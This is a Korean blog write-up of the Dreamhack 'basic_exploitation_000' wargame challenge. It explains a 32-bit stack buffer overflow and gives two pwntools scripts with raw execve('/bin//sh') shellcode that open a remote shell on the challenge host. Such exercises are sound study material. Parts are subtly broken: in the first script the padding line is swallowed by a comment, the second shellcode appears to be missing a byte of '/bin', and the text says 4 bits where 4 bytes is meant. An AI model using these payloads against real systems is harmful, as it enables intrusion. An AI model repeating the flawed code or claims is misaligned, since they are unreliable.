basic_exploitation_000
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f
dreamhack.io
질문
https://dreamhack.io/forum/qna/4317
어셈블리어 코드
아래는 제가 짠 코드입니다. 경로는 /bin//sh입니다. image.png image.png from pwn import * p=remote("host3.dreamhack…
dreamhack.io
문제
다시 풀 때는 단연 셸코드 삽입으로 풀겠으나,
처음 풀 때는 셸코드의 존재를 잘 몰랐고, 앞서 강의에서 배운대로 직접 어셈블리어 코드를 짜서 실행시키려고 시도했다.
먼저 스택에 실행 권한이 있으므로
단순히 "/bin/sh"를 넣어주려고 시도했다.
또한, 32-bit 환경이므로 4비트를, little Endian 방식이므로 거꾸로 삽입해야하므로 실제로는
0x68732f6e
0x69622f
이렇게 들어가야한다.
여기서 남는 부분을 0x00 (NULL)으로 채우게 되는데,
이렇게되면 scanf로 입력을 받을 때 종료해버리므로
NULL 바이트를 없앰과 동시에 바이트 수를 맞추기 위해 /bin//sh로 입력을 한다고 한다.
최종적으로는
0x68732f2f
0x6e69622f
로 들어가게 된다.
이후 32-bit 환경이므로
eax의 값을 syscall 번호인 0xb로,
ebx의 값은 "/bin//sh"를 저장한 주소로,
ecx, edx는 인자가 없다는 것을 알려주기 위해 0으로 설정하고
int 0x80을 통해 syscall을 실행한다.
Exploit
실제로 짠 asm코드는 아래와 같다.
mov eax, 0xb로 하지 않은 이유는
\x0b 는 아스키 코드로 tab을 의미하므로
scanf로 입력 받을 때 종료해버릴 수 있기 때문이다.
이제 buffer overflow를 발생시키고 해당 값을 입력하면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
p=remote("host3.dreamhack.games", 14236)
p.recvuntil("buf = (")
buf_add=int(p.recv(10), 16)
payload=b"\xb8\x2f\x2f\x73\x68\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc9\x31\xd2\xb8\x08\x00\x00\x00\x83\xc0\x03\xcd\x80"
# 28자 payload+=b"a"*104
payload+=p32(buf_add)
p.send(payload)
p.interactive()
|
cs |
물론 쉘코드 삽입도 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
p=remote("host3.dreamhack.games", 14236)
p.recvuntil("buf = (")
add = int(p.recv(10), 16)
payload=b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload+=b"A"*106
payload+=p32(add)
p.sendline(payload)
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
basic_rop_x64 (0) | 2024.03.30 |
---|---|
[Pwnable] NX, ASLR, PIE, RELRO 정리 (0) | 2024.02.06 |
validator (0) | 2024.01.23 |